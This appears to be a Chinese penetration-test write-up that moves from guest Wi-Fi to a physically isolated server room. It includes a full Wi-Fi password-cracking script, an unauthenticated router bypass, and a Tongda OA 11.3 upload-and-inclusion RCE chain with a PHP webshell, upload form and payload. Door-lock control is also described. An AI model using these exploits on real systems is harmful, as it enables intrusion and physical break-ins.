从访客网络到潜入机房
这是 酒仙桥六号部队 的第 141 篇文章。
全文共计7917个字,预计阅读时长20分钟。
前言
在一次项目中,客户需求是在完全黑盒的情况下进行渗透测试,目标是内网某台物理隔离核心系统,由此就展开了我们接下来的测试行动。
正文
访客WIFI
那是一个阳光明媚的早上,我背着我的小书包来到客户楼下,掏出我的设备,准备开始工作。
在日常项目中,除了正常的Web
资产探测之外,我们也应该合理的利用各类无线网络、物理接口、智能设备的安全缺陷进行近源渗透测试,因此到达目标楼下后,我首先搜索了一下周围的WIFI
,果然发现了以目标简称开头的两个热点。
通过测试发现,GUEST
热点是普通的密码验证,而Tech
热点则无需密码验证,再连接后会自动弹出登录认证页面。
这里我的思路分别是这样的。
WIFI | 认证方式 | 思路 |
---|---|---|
GUEST | 密码 | 暴力破解WIFI连接密码 |
Tech | 二次登录验证 | 暴力破解用户名密码 |
这里感觉如果能拿下Tech
热点可能会对我们之后的测试过程更有帮助,因此我首先对Tech
的热点登陆页面进行了暴力破解,以姓名拼音字典做用户名,弱密码字典为弱口令进行暴力破解。
遗憾的是这里虽然没有对暴力破解进行限制,但是我并没有通过用户名字典和弱口令字典撞库得出想要的结果,所以接下来又重新看了一下GUEST
对应的热点,通过名称可以大致推断这应该是一个访客网络。
一般这种场景下为了方便用户使用,密码应该不会设置过于复杂,这里由于我没有带外接网卡,Kali
又在虚拟机中,因此我们可以通过形如pywifi
的库进行破解连接密码,我们在构造字典的时候,例如目标客服电话、目标简称加数字等等格式都是有极大可能作为密码的,因此我们也要加载到我们的字典中。
from pywifi import const, PyWiFi, Profile
import time
# wifi类
class wifi(object):
def __init__(self):
self.wifi = PyWiFi() #创建一个无线对象
self.interfaces = self.wifi.interfaces() #获取无线网卡接口
self.iface = self.interfaces[0] #获取第一个无线网卡接口
# 获取无线网卡接口
def get_wifi_interfaces(self):
num = len(self.interfaces)
if num <= 0:
print(u'未找到无线网卡接口!\n')
exit()
if num == 1:
print(u'无线网卡接口: %s\n' % (self.iface.name()))
return self.iface
else:
print('%-4s %s\n'%(u'序号',u'网卡接口名称'))
for i, w in enumerate(self.interfaces):
print('%-4s %s' % (i, w.name()))
while True:
iface_no = input('请选择网卡接口序号:'.decode('utf-8').encode('gbk'))
no = int(iface_no)
if no >= 0 and no < num:
return self.interfaces[no]
# 查看无线网卡是否处于连接状态
def check_interfaces(self):
if self.iface.status() in [const.IFACE_CONNECTED, const.IFACE_CONNECTING]:
print('无线网卡:%s 已连接。' % self.iface.name())
else:
print('无线网卡:%s 未连接。' % self.iface.name())
# 扫描周围wifi
def scan_wifi(self):
self.iface.scan() #扫描周围wifi
time.sleep(1) #不缓冲显示不出来
result = self.iface.scan_results() #获取扫描结果,wifi可能会有重复
has = [] #初始化已扫描到的wifi
wifi_list = [] #初始化扫描结果
for i in result:
if i not in has: #若has中没有该wifi,则
has.append(i) #添加到has列表
if i.signal > -90: #信号强度<-90的wifi几乎连不上
wifi_list.append((i.ssid, i.signal)) #添加到wifi列表
print('wifi信号强度:{0},名称:{1}。'.format(i.signal, i.ssid))#输出wifi名称
return sorted(wifi_list, key=lambda x:x[1], reverse=True) #按信号强度由高到低排序
# 连接wifi
def connect_wifi(self, wifi_name, wifi_password):
self.iface.disconnect() #断开无线网卡连接
time.sleep(1) #缓冲1秒
profile_info = Profile() #wifi配置文件
profile_info.ssid = wifi_name #wifi名称
profile_info.auth = const.AUTH_ALG_OPEN #需要密码
profile_info.akm.append(const.AKM_TYPE_WPA2PSK) #加密类型
profile_info.cipher = const.CIPHER_TYPE_CCMP #加密单元
profile_info.key = wifi_password #wifi密码
self.iface.remove_all_network_profiles() #删除其他配置文件
tmp_profile = self.iface.add_network_profile(profile_info) #加载配置文件
self.iface.connect(tmp_profile) #连接
#尝试5秒是否能成功连接(时间过短可能会导致正确密码尚未连接成功)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
print('\n==========================================================================')
print('wifi:{0}连接成功,密码:{1}'.format(wifi_name, wifi_password), end='')
print('==========================================================================\n')
return True
else:
print('密码错误:{0}'.format(wifi_password), end='')
return False
# 断开无线网卡已连接状态
def disconnect_wifi(self):
self.iface.disconnect()
if self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]:
print('无线网卡:%s 已断开。' % self.iface.name())
else:
print('无线网卡:%s 未断开。' % self.iface.name())
if __name__ == '__main__':
sf = ['Y', 'y', 'N', 'n']
dian = input('是否需要手动点击破解下一个wifi热点(Y/N)?').strip()
wifi = wifi() #实例化wifi类
wifi.get_wifi_interfaces() #获取网卡接口
wifi.check_interfaces() #检测网卡连接状态
print('\n正在扫描wifi热点...')
wifiList = wifi.scan_wifi() #扫描周围wifi
print('\n正在破解,时间较长,请耐心等待...')
#所有破解成功的wifi名称及密码
user_pwd = []
# 只能单线程破解,因为只有一个无线网卡,不能同时连接多个wifi热点
for i in wifiList:
print('正在破解%s,请耐心等待...' % i[0])
start = time.time()
with open(r'1800常用弱口令字典.txt', 'r') as f:
for password in f:
try:
result = wifi.connect_wifi(i[0], password) #尝试连接wifi
if result == True: #若找到密码,则跳出,避免继续查找
user_pwd.append((i[0], password)) #保存破解成功的wifi及密码
break
except:
continue
end = time.time()
shi = end - start
print('破解耗时:%s秒。' % shi)
if dian == 'Y' or dian == 'y':
xia = input('是否继续破解(Y/N)?').strip()
while xia not in sf:
print('输入错误,请重新输入!')
xia = input('是否继续破解(Y/N)?')
if xia == 'Y' or xia == 'y':
continue
else:
break
print('\n==========================================================================')
print('最终统计结果为:')
with open(r'c:/users/administrator/desktop/wifi.txt', 'a') as pwd:
for p in user_pwd:
pwd.write('wifi热点:%s,密码:%s' % (p[0], p[1]))
print(('wifi热点:%s,密码:%s' % (p[0], p[1])), end='')
print('==========================================================================\n')
wifi.disconnect_wifi()
幸运的是,这里我通过一段时间的等待,终于拿到了GUEST
的连接密码。
这里连接上GUEST
后,我与目标的距离终于是更近了一步,但是GUEST
所在的网络显然只是连入了互联网,我们想要得到更多的结果还是要拿下刚才的Tech
才行,一般企业无线架构中,这些AP
会有自己的管理页面,通过探测相应的web
端口,我发现了一个路由管理网页。
接下来就是通过万能的搜索引擎,寻找相应的配置文档,看看是否有相应的默认账户及口令。
幸运的是,我通过文档中的默认账号及密码,成功登入了相应的WEB
界面。
接下来我通过Device
来查看接入设备的地址,看看是不是有新的可以达到的网络地址进行进一步的测试。
我们可以看到在172.16.*.*
有部分设备接入,那么这些网段中除了连入的员工使用的设备,还会存在什么呢?在回答这个问题之前,先说个题外话,在测试过程中,我发现Rucks 7341
竟然存在着一个命令执行的漏洞 : )。
无线软路由未授权访问
我们从上面已经得到了172.16.*.*
的新的网段,接下来我又对这个区段进行了WEB
端口的存活性探测,发现了一个路由管理界面。
这里尝试弱口令以及爆破都没有得到相应的结果,但是目前我们资产收集也没有新的收获,只能寄希望于这里能存在一些可以利用的漏洞了,经过不断的测试以及配置文档的搜索,我发现这里存在着未授权访问的漏洞,通过直接访问/webfig
地址就可以直接进入系统面板而无需进行登录,由此,我们顺利的绕过了登录验证的过程。
这里提示是一共有4
个Interface
,这里我注意到了一个新的VLAN
,对应的name
是office
,并且我通过ARP
看到了他所在的IP
区段是172.16.200.*
但是通过测试,我目前所在的GUEST
网段与172.16.200.*
是无法连通的,所以想要进一步探测office
里面有什么,就要想办法让自己连接过去,于是我继续看看这个路由都有什么功能,看看是不是可以有新的发现。
TechWIFI
在看到Hotspot
时,存在以下界面。
点击相应的user
会进入如下界面。
这里由于对设备不是很熟悉,不太清楚账号和密码是什么意思,只能大致推断,上面我们发现的Interface
一共有如下四项。
lan
net
office
wan
这里的profile
对应写的是net
,那会不会我们用这个账号密码连接Tech
热点时就可以访问net
相应的区段呢?因为我对office
更感兴趣,因此我找到了一个profile
是office
的账号密码进行了登录测试,成功通过了Tech
的验证,并且成功与172.16.200.*
网段连通。
通达OA
经过对172.16.200.*
的测试,找到了一个OA
系统,版本为通达OA 11.3
该版本不仅存在任意用户登录的问题,还存在一个任意文件上传可以导致RCE
的漏洞,我们首先本地分析一下这个漏洞,下载好源码先用Zend
解密工具解密一下源码,首先看ispirit/im/upload.php
源码中的auth.php
是用来检验登录验证的源码。
我们可以看到代码第5
行有一个判断语句,如果POST
请求中P
非空的情况下,代码会将session
设置成P
参数的值,否则就会对session
中的LOGIN_USER_ID
以及LOGIN_UID
进行验证,检验失败则会提示用户未登陆
并退出,所以我们可以构造P
参数就可以绕过登录验证,那么我们利用这里就可以在未登录的情况下直接进行文件上传,正常情况下我们访问upload.php
当我们构造$P
之后。
这里我们就已经绕过了身份检验的过程,接下来就是构造文件上传,我们接着看下面的代码。
其中的POST
参数中的DEST_UID
也会进行校验,值如果不是整型的话就会提示接收方ID无效
,我们构造DEST_UID
再试一次。
接下来我们构造相应的文件上传即可,接着向下看到文件上传的变量名是ATTACHMENT
,我们看到52
行调用了upload
函数。
相关代码在inc\utility_file.php
,进行了后缀名的限制。
我们接下来构造文件上传。
上传成功,这里虽然可以通过php.
的方法上传php
文件,但是上传之后文件位置为attach
目录下,并不在根目录,而且文件前被自动加上了随机数,我们无法得知相应的文件名,因此无法直接利用。
我们再接着向下看,
120
行输出的databack
里面有CONTENT
,而这个变量包含了文件名,所以我们直接POST
即可对UPLOAD_MODE
和MSG_CATE
赋值,通过UPLOAD_MODE
为1
的方法就可以解决文件名的问题,我们需要解决文件目录的问题了,这里无法通过../
进行路径穿越,所以我们需要寻找一下文件包含的点,接下来我们来看ispirit\interface\gateway.php
其中url
参数中含有general/
、ispirit/
、module/
之一,那么就include_once
变量url
中的值,即可包含任意文件,分析完成后,我们开始进行利用,首先编写我们中途利用到的木马1.jpg
<?php
$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");
$exec=$phpwsh->exec("cmd.exe /c ".$_POST['cmd']."");
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
再构造如下界面进行上传。
<html>
<head>
</head>
<body>
<form method="POST" action="http://172.16.200.153/ispirit/im/upload.php" enctype="multipart/form-data">
<input type="text"name='P' value = 1 ></input>
<input type="text"name='MSG_CATE' value = 'file'></input>
<input type="text"name='UPLOAD_MODE' value = 1 ></input>
<input type="text" name="DEST_UID" value = 1></input>
<input type="file" name="ATTACHMENT"></input>
<input type="submit" ></input>
</form>
</body>
</html>
然后将我们的木马上传上去。
得到了我们相应的文件位置attach/im/2011/820599126.1.jpg
,之后利用gateway.php
进行文件包含,并利用如下语句进行RCE
json={"url":"/general/../../attach/im/2011/820599126.1.jpg"}&cmd=dir
而且权限是system
之后就是常规操作,拿下服务器。
门禁系统
在拿下OA
服务器这个小倒霉蛋之后,就是常规内网扫了一下整个B
段开启3389
的机器,然后用刚才抓取的密码进行了碰撞,尝试是否有密码复用的情况,在碰撞过程中,扫到了一台门禁系统的服务器,并且成功用域账户进行了登录,由于前面扫描资产存活的时候,为了速度,脚本里面只添加了几个常用的80
、443
这些端口,这个8088
端口提供服务的门禁系统也就成了漏网之鱼,在服务器上看到这个系统之后,首先还是进行了访问,登录界面还是需要账户密码验证,但是这里我已经登上服务器了还怕没有密码?从配置文件中找到系统的数据库连接密码后连接数据库,直接查看了admin
账户对应的密码。
登录到系统上一看,是一个门禁系统。
这里为什么要提一下这个门禁系统呢,因为这个门禁系统不仅可以实时监控各个考勤机的状态,甚至还能远程开关门。
至此,我已经能随意在这座大厦的任何一个房间自由出入了。
靶标
因为文章刚开始也说了,这次的靶标是物理隔离的,因此我必须找到相应机房的交换机,然后把自己的设备用网线连接上去,之后才能继续测试,在上面拿下门禁系统后,我已经可以自由的打开相应服务器所在机房的大门,也是终于从访客WIFI
终于肉身接触到靶标所在的服务器了,插好网线,配好IP
,我已经是可以直通靶标的一员了。
但是由于是目标最核心系统,因此是不仅WEB
端需要账号密码认证,还需要有动态密码才能进行登录,因此放弃了直接通过WEB
端开始入手的想法,测试了好久也没什么进展。
正在我一筹莫展的时候,我转念一想,在这种核心物理隔离,又不与外网连通的地方,入侵者入侵起来麻烦,运维师傅维护起来估计也不容易,想必也不经常打补丁,先探测探测整个C
段的端口,看看有没有能直接利用的主机漏洞或者其他端口上的WEB
服务来曲线救国的。
扫描结束后,我惊奇的发现我们的靶标,竟然开放了445
端口。
这幸福来的也太突然了。
至此,我的从访客网络到潜入机房的行动彻底收工!
参考文档
https://wenku.baidu.com/view/52b236f8f705cc175527096f.html